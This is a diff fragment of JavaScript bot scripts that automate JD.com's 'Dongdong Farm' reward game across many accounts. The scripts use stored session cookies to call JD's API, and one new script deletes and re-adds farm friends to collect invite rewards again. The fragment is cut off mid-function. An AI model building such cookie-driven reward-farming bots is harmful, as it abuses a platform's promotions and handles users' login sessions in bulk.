console.log(`\n数据异常`); + } + } catch (e) { + $.logErr(e); + } +} +// ========================API调用接口======================== +//鸭子,点我有惊喜 +async function getFullCollectionReward() { + return new Promise(resolve => { + const body = { "type": 2, "version": 6, "channel": 2 }; + $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { + try { + if (err) { + console.log('\ngetFullCollectionReward: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.duckRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +/** + * 领取10次浇水奖励API + */ +async function totalWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.totalWaterReward = await request(functionId); +} +//领取首次浇水奖励API +async function firstWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.firstWaterReward = await request(functionId); +} +//领取给3个好友浇水后的奖励水滴API +async function waterFriendGotAwardForFarm() { + const functionId = arguments.callee.name.toString(); + $.waterFriendGotAwardRes = await request(functionId, { "version": 4, "channel": 1 }); +} +// 查询背包道具卡API +async function myCardInfoForFarm() { + const functionId = arguments.callee.name.toString(); + $.myCardInfoRes = await request(functionId, { "version": 5, "channel": 1 }); +} +//使用道具卡API +async function userMyCardForFarm(cardType) { + const functionId = arguments.callee.name.toString(); + $.userMyCardRes = await request(functionId, { "cardType": cardType }); +} +/** + * 领取浇水过程中的阶段性奖励 + * @param type + * @returns {Promise} + */ +async function gotStageAwardForFarm(type) { + $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), { 'type': type }); +} +//浇水API +async function waterGoodForFarm() { + await $.wait(2000); + console.log('等待了2秒'); + + const functionId = arguments.callee.name.toString(); + $.waterResult = await request(functionId); +} +// 初始化集卡抽奖活动数据API +async function initForTurntableFarm() { + $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} +async function lotteryForTurntableFarm() { + await $.wait(3000); + console.log('等待了3秒'); + $.lotteryRes = await request(arguments.callee.name.toString(), { type: 1, version: 4, channel: 1 }); +} + +async function timingAwardForTurntableFarm() { + $.timingAwardRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} + +async function browserForTurntableFarm(type, adId) { + if (type === 1) { + console.log('浏览爆品会场'); + } + if (type === 2) { + console.log('天天抽奖浏览任务领取水滴'); + } + const body = { "type": type, "adId": adId, "version": 4, "channel": 1 }; + $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); + // 浏览爆品会场8秒 +} +//天天抽奖浏览任务领取水滴API +async function browserForTurntableFarm2(type) { + const body = { "type": 2, "adId": type, "version": 4, "channel": 1 }; + $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); +} +/** + * 天天抽奖拿好礼-助力API(每人每天三次助力机会) + */ +async function lotteryMasterHelp() { + $.lotteryMasterHelpRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-3', + babelChannel: "3", + version: 4, + channel: 1 + }); +} + +//领取5人助力后的额外奖励API +async function masterGotFinishedTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterGotFinished = await request(functionId); +} +//助力好友信息API +async function masterHelpTaskInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterHelpResult = await request(functionId); +} +//新版助力好友信息API +async function farmAssistInit() { + const functionId = arguments.callee.name.toString(); + $.farmAssistResult = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//新版领取助力奖励API +async function receiveStageEnergy() { + const functionId = arguments.callee.name.toString(); + $.receiveStageEnergy = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//接受对方邀请,成为对方好友的API +async function inviteFriend() { + $.inviteFriendRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-inviteFriend', + version: 4, + channel: 2 + }); +} +// 助力好友API +async function masterHelp() { + $.helpResult = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0], + babelChannel: "3", + version: 2, + channel: 1 + }); +} +/** + * 水滴雨API + */ +async function waterRainForFarm() { + const functionId = arguments.callee.name.toString(); + const body = { "type": 1, "hongBaoTimes": 100, "version": 3 }; + $.waterRain = await request(functionId, body); +} +/** + * 打卡领水API + */ +async function clockInInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInInit = await request(functionId); +} + +// 连续签到API +async function clockInForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInForFarmRes = await request(functionId, { "type": 1 }); +} + +//关注,领券等API +async function clockInFollowForFarm(id, type, step) { + const functionId = arguments.callee.name.toString(); + let body = { + id, + type, + step + } + if (type === 'theme') { + if (step === '1') { + $.themeStep1 = await request(functionId, body); + } else if (step === '2') { + $.themeStep2 = await request(functionId, body); + } + } else if (type === 'venderCoupon') { + if (step === '1') { + $.venderCouponStep1 = await request(functionId, body); + } else if (step === '2') { + $.venderCouponStep2 = await request(functionId, body); + } + } +} + +// 领取连续签到7天的惊喜礼包API +async function gotClockInGift() { + $.gotClockInGiftRes = await request('clockInForFarm', { "type": 2 }) +} + +//定时领水API +async function gotThreeMealForFarm() { + const functionId = arguments.callee.name.toString(); + $.threeMeal = await request(functionId); +} +/** + * 浏览广告任务API + * type为0时, 完成浏览任务 + * type为1时, 领取浏览任务奖励 + */ +async function browseAdTaskForFarm(advertId, type) { + const functionId = arguments.callee.name.toString(); + if (type === 0) { + $.browseResult = await request(functionId, {advertId, type}); + } else if (type === 1) { + $.browseRwardResult = await request(functionId, {advertId, type}); + } +} +// 被水滴砸中API +async function gotWaterGoalTaskForFarm() { + $.goalResult = await request(arguments.callee.name.toString(), { type: 3 }); +} +//签到API +async function signForFarm() { + const functionId = arguments.callee.name.toString(); + $.signResult = await request(functionId); +} +/** + * 初始化农场, 可获取果树及用户信息API + */ +async function initForFarm() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({ "version": 4 }))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\ninitForFarm: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务列表API +async function taskInitForFarm() { + console.log('\n初始化任务列表') + const functionId = arguments.callee.name.toString(); + $.farmTask = await request(functionId, { "version": 14, "channel": 1, "babelChannel": "120" }); +} +//获取好友列表API +async function friendListInitForFarm() { + $.friendList = await request('friendListInitForFarm', { "version": 4, "channel": 1 }); + // console.log('aa', aa); +} +// 领取邀请好友的奖励API +async function awardInviteFriendForFarm() { + $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); +} +//为好友浇水API +async function waterFriendForFarm(shareCode) { + const body = { "shareCode": shareCode, "version": 6, "channel": 1 } + $.waterFriendForFarmRes = await request('waterFriendForFarm', body); +} +async function showMsg() { + if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdFruitNotify')) { + $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\nrequest: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_fruit_friend.js b/jd_fruit_friend.js new file mode 100644 index 0000000..cf930b5 --- /dev/null +++ b/jd_fruit_friend.js @@ -0,0 +1,630 @@ +/* +东东水果:脚本更新地址 jd_fruit_friend.js +更新时间:2021-5-18 +活动入口:京东APP我的-更多工具-东东农场 +东东农场好友删减奖励活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助3个人。多出的助力码无效 +==========================Quantumultx========================= +[task_local] +#jd免费水果 +10 5,17 * * * jd_fruit_friend.js, tag=东东农场好友删减奖励, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true +=========================Loon============================= +[Script] +cron "10 5,17 * * *" script-path=jd_fruit_friend.js,tag=东东农场好友删减奖励 + +=========================Surge============================ +东东农场好友删减奖励 = type=cron,cronexp="10 5,17 * * *",wake-system=1,timeout=3600,script-path=jd_fruit_friend.js + +=========================小火箭=========================== +东东农场好友删减奖励 = type=cron,script-path=jd_fruit_friend.js, cronexpr="10 5,17 * * *", timeout=3600, enable=true + +*/ +const $ = new Env('东东农场好友删减奖励'); +let cookiesArr = [], cookie = '', isBox = false, notify,allMessage = ''; +let newShareCodes=[]; +let message = '', subTitle = '', option = {}, isFruitFinished = false; +const retainWater = $.isNode() ? (process.env.retainWater ? process.env.retainWater : 100) : ($.getdata('retainWater') ? $.getdata('retainWater') : 100);//保留水滴大于多少g,默认100g; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; +let NowHour = new Date().getHours(); +let llhelp=true; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if(llhelp){ + console.log('开始收集您的互助码,用于好友删除与加好友操作'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + await GetCollect(); + } + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + await jdFruit(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFruit() { + subTitle = `【京东账号${$.index}】${$.nickName || $.UserName}`; + try { + await initForFarm(); + await getAwardInviteFriend();//删除好友与接受邀请成为别人的好友 + if ($.farmInfo.farmUserPro) { + message = `删除好友与接受好友邀请已完成`; + } else { + console.log(`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`); + message+=`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`; + } + } catch (e) { + console.log(`任务执行异常,请检查执行日志 ‼️‼️`); + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } + //await showMsg(); +} +// +async function getAwardInviteFriend() { + await friendListInitForFarm();//查询好友列表 + if ($.friendList) { + console.log(`\n今日已邀请好友${$.friendList.inviteFriendCount}个 / 每日邀请上限${$.friendList.inviteFriendMax}个`); + console.log(`开始删除${$.friendList.friends && $.friendList.friends.length}个好友,可拿每天的邀请奖励`); + if ($.friendList.friends && $.friendList.friends.length > 0) { + for (let friend of $.friendList.friends) { + console.log(`\n开始删除好友 [${friend.shareCode}]`); + const deleteFriendForFarm = await request('deleteFriendForFarm', { "shareCode": `${friend.shareCode}`, "version": 8, "channel": 1 }); + if (deleteFriendForFarm && deleteFriendForFarm.code === '0') { + console.log(`删除好友 [${friend.shareCode}] 成功\n`); + } + } + } + await receiveFriendInvite();//为他人助力,接受邀请成为别人的好友 + if ($.friendList.inviteFriendCount > 0) { + if ($.friendList.inviteFriendCount > $.friendList.inviteFriendGotAwardCount) { + console.log('开始领取邀请好友的奖励'); + await awardInviteFriendForFarm(); + console.log(`领取邀请好友的奖励结果::${JSON.stringify($.awardInviteFriendRes)}`); + } + } else { + console.log('今日未邀请过好友') + } + } else { + console.log(`查询好友列表失败\n`); + } +} +//接收成为对方好友的邀请 +async function receiveFriendInvite() { + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('自己不能邀请自己成为好友噢\n') + continue + } + await inviteFriend(code); + if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '0') { + console.log(`接收邀请成为好友结果成功,您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + } else if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '17') { + console.log(`接收邀请成为好友结果失败,对方已是您的好友`) + } + } +} +async function GetCollect() { + try { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}互助码】${$.farmInfo.farmUserPro.shareCode}`); + newShareCodes.push($.farmInfo.farmUserPro.shareCode) + } else { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}互助码】\n数据异常,使用City的互助码:4921b9fe76a340f695f9621b53f35cf5`); + newShareCodes.push("4921b9fe76a340f695f9621b53f35cf5"); + } + } catch (e) { + $.logErr(e); + } +} +// ========================API调用接口======================== +//鸭子,点我有惊喜 +async function getFullCollectionReward() { + return new Promise(resolve => { + const body = { "type": 2, "version": 6, "channel": 2 }; + $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.duckRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +/** + * 领取10次浇水奖励API + */ +async function totalWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.totalWaterReward = await request(functionId); +} +//领取首次浇水奖励API +async function firstWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.firstWaterReward = await request(functionId); +} +//领取给3个好友浇水后的奖励水滴API +async function waterFriendGotAwardForFarm() { + const functionId = arguments.callee.name.toString(); + 